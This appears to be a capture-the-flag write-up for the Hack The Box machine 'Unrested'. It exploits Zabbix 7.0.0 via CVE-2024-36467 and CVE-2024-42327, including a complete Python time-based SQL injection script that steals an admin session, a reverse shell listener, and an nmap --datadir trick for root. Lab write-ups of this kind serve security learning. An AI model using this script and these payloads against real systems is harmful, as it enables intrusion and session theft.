Unrested HTB Writeup
About Unrested
Unrested is a medium difficulty Linux
machine hosting a version of Zabbix
. Enumerating the version of Zabbix
shows that it is vulnerable to both CVE-2024-36467 (missing access controls on the user.update
function within the CUser
class) and CVE-2024-42327 (SQL injection in user.get
function in CUser
class) which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a sudo
misconfiguration allowing the zabbix
user to execute sudo /usr/bin/nmap
, an optional dependency in Zabbix
servers that is leveraged to gain root
access.
Enumeration
Start with a simple ping request to see if the target will response to it.
1
2
3
4
5
6
7
8
9
10
┌──(kratos㉿Hydra)-[~/Documents/HTB/TwoMillion]
└─$ ping $ip -c3
PING 10.10.11.50 (10.10.11.50) 56(84) bytes of data.
64 bytes from 10.10.11.50: icmp_seq=1 ttl=62 time=301 ms
64 bytes from 10.10.11.50: icmp_seq=2 ttl=62 time=312 ms
64 bytes from 10.10.11.50: icmp_seq=3 ttl=62 time=303 ms
--- 10.10.11.50 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 301.459/305.696/312.358/4.768 ms
The target does response. Next we should discover what ports are open and what services are running on them.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kratos㉿Hydra)-[~/Documents/HTB/TwoMillion]
└─$ nmap $ip -p-
<snip>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.60 seconds
The scan reveals SSH
and Apache2
are open on their respective default ports. Ports 10050
and 10051
are associated with Zabbix agents
. Visiting the target IP on port 10050 and 80 redirects us to a Zabbix
login page
What is Zabbix
Zabbix is like a digital watchdog for computers and networks. Think of it as a tool that helps IT professionals make sure everything is running smoothly. It collects data and shows it in an easy-to-understand way, helping teams maintain and improve their IT systems.
Using the provided credentials, we can authenticate as matthew and access the Zabbix dashboard. This account is in the default User role with no additional groups or privileges. At the bottom of the page, we see the Zabbix version of 7.0.0
The Zabbix version can be seen as 7.0.0.
Searching the web gives us two vulnerabilities. CVE-2024-36467
and CVE-2024-42327
.
Overview of CVE-2024-36467
CVE-2024-36467 is a security flaw in Zabbix, a software used for monitoring computer systems. This flaw allows someone who is already logged into the system and has access to the system’s API (a kind of digital toolkit) to change their group membership.
Zabbix API Abuse
Authenticated User with API Access: An authenticated user can interact with the system using the API, enabling actions that are restricted through the standard web interface.
User Role and Permissions: Zabbix roles come with specific access levels.
API Endpoint: user.update
: The user.update
endpoint lets a user modify their details, including group memberships.
Privilege Escalation:
By adding themselves to high-privilege groups like “Zabbix Administrators,” the user can escalate their access, gaining control over sensitive system functions and compromising its security.
Let’s refer to the Zabbix website documentation to gather more information.
Lets check the api_jsonrpc.php
in our target.
api_jsonrpc
Request Format
The request must have the Content-Type header
set to one of these values: application/json-rpc
, application/json
or application/jsonrequest
.
The request object contains the following properties:
jsonrpc
- the version of the JSON-RPC protocol used by the API (Zabbix API implements JSON-RPC version 2.0);method
- the API method being called;params
- the parameters that will be passed to the API method;id
- an arbitrary identifier of the request.
To carry out the exploitation, we begin by authenticating the API with user credentials, which returns an API key as a response.
Successfully got a API token. Before we try user.update
to update our roles, let’s try to find our userid. Bruteforcing the userids also work but we can see every user id using user.get function. Using the selectRole
or SelectUsrgrps
as params returns the userlist and scrolling down, we can see matthew
user as userid:3
.
From the json response we can also see that Administrator role is roleid:3 and matthew user has roleid:1 which is probably the default user id. Let’s try to set our roleid to Administrator. But we get the following error.
So it seems that we can’t change our role beacuse in CUser.php file, validateUpdate() and checkHimself() functions checks if its our own role or not. But we also see that in user.update, we can change our usrgroup which doesn’t have any validation placed.
We also need to find a valid “usrgrpid” to make us Administrator. Luckily, i have seen Zabbix Administrators id in the manual page as 7. This is crucial beacause it saves time from bruteforcing all the group ids.
Now that we have the group id, let’s add our user to Zabbix Administrators
using user.update
.
Note that without this privilege escalation, we can’t perform the SQL injection in the upcoming part.
Overview of CVE-2024-42327
CVE-2024–42327 is a vulnerability where attacker can perform an SQL injection in user.get function in CUser.php class which can be used to leak database content.
Using the following request, we can see that request took 6,408 ms which means our SLEEP(5) payload resulted with time-based sql injection.
Lets do automated scan since it would take a long time to do it manually. Replace the sqli payload with *
and copy the request to a file. Then dump the database using sqlmap.
1
2
3
4
<SNIP>
available databases [2]:
[*] information_schema
[*] zabbix
From the output, we have successfully retrieved the database names by exploiting the based SQL injection.
From both methods, we can utilize misconfigured agents to gain remote code execution. To do this from the time-based SQL injection, we must leak the sessions table in the database to see if the Admin user has authenticated at all.
Unfortunately due to being a time-based attack, this can take a while, so I have included a quicker script(Its not created by me! Credit goes to the orginal owner) for further use.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import requests
import json
from datetime import datetime
import string
import random
import sys
from concurrent.futures import ThreadPoolExecutor
URL = "http://10.129.231.176/zabbix/api_jsonrpc.php"
TRUE_TIME = 1
ROW = 0
USERNAME = "matthew"
PASSWORD = "96qzn0h2e1k3"
def authenticate():
payload = {
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": USERNAME,
"password": PASSWORD
},
"id": 1
}
response = requests.post(URL, json=payload)
if response.status_code == 200:
try:
response_json = response.json()
auth_token = response_json.get("result")
if auth_token:
print(f"Login successful! Auth token: {auth_token}")
return auth_token
else:
print(f"Login failed. Response: {response_json}")
except Exception as e:
print(f"Error: {str(e)}")
else:
print(f"HTTP request failed with status code {response.status_code}")
return None
def send_injection(auth_token, position, char):
payload = {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": [
"roleid",
f"name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME} * "
f"(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 "
f"LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))))BEEF)"
],
"editable": 1,
},
"auth": auth_token,
"id": 1
}
before_query = datetime.now().timestamp()
response = requests.post(URL, json=payload)
after_query = datetime.now().timestamp()
response_time = after_query - before_query
return char, response_time
def test_characters_parallel(auth_token, position):
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(send_injection, auth_token, position, char): char for char in string.printable}
for future in futures:
char, response_time = future.result()
if TRUE_TIME - 0.5 < response_time < TRUE_TIME + 0.5:
return char
return None
def print_progress(extracted_value):
sys.stdout.write(f"\rExtracting admin session: {extracted_value}")
sys.stdout.flush()
def extract_admin_session_parallel(auth_token):
extracted_value = ""
max_length = 32
for position in range(1, max_length + 1):
char = test_characters_parallel(auth_token, position)
if char:
extracted_value += char
print_progress(extracted_value)
else:
print(f"\n(-) No character found at position {position}, stopping.")
break
return extracted_value
if __name__ == "__main__":
print("Authenticating...")
auth_token = authenticate()
if auth_token:
print("Starting data extraction...")
admin_session = extract_admin_session_parallel(auth_token)
print(f"\nAdmin session extracted: {admin_session}")
else:
print("Authentication failed.")
After running the script, we see we successfully obtained the admin session in just less than a minute.
Now that we have admin session, using our privileges we can get Remote Code Execution
Hosting a simple reverse shell on port 8000 and using the command below, returns a connection.
1
2
3
4
5
6
$nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.50] 40504
bash: cannot set terminal process group (3689): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$
We can get the user flag from /home/matthew/user.txt
Privilege Escalation
As zabbix user we check if we can execute any applications with sudo permissions.
1
2
3
4
5
6
7
8
9
zabbix@unrested:/$ sudo -l
sudo -l
Matching Defaults entries for zabbix on unrested:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin,
use_pty
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *
We see that we can run /usr/bin/nmap
unrestricted. We attempt to use the GTFOBins.
1
2
3
4
5
zabbix@unrested:/$ TF=$(mktemp)
zabbix@unrested:/$ echo 'os.execute("/bin/sh")' > $TF
zabbix@unrested:/$ sudo nmap --script=$TF
Script mode is disabled for security reasons.
zabbix@unrested:/$
Seems that this is just a nmap wrapper program. We try to read the source code of /usr/bin/nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
zabbix@unrested:/tmp$ cat /usr/bin/nmap
#!/bin/bash
#################################
## Restrictive nmap for Zabbix ##
#################################
# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
["--interactive"]="Interactive mode is disabled for security reasons."
["--script"]="Script mode is disabled for security reasons."
["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
["-iL"]="File input mode is disabled for security reasons."
)
# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
if [[ "$*" == *"$option"* ]]; then
echo "${RESTRICTED_OPTIONS[$option]}"
exit 1
fi
done
# Execute the original nmap binary with the provided arguments
exec /usr/bin/nmap.original "$@"
zabbix@unrested:/tmp$
It seems that the maintainers of the server were aware of the known privilege escalations that can happen with nmap . All the GTFOBins escapes are useless in this scenario. Reading through the options we discover the --datadir
option. --datadir <dirname>
: Specify custom Nmap data file location
This option allows you to specify a data directory where default scripts and other are stored, the default in this case is /usr/share/nmap
.
The nse_main.lua
file is the default script file that can be triggered with -sC
. To exploit this, we create a new file in /tmp/nse_main.lua
with os.execute("chmod 4755 /bin/bash")
. When we scan localhost with -sC
enabled, we set effective UID of root user.
1
2
3
4
5
zabbix@unrested:/tmp$ echo 'os.execute("/bin/bash -p")' > nse_main.lua
zabbix@unrested:/tmp$ sudo /usr/bin/nmap -sC --datadir=/tmp
Starting Nmap 7.80 ( https://nmap.org ) at 2025-01-15 19:43 UTC
id
uid=0(root) gid=0(root) groups=0(root)
Finally, we can read the flag in /root/root.txt
.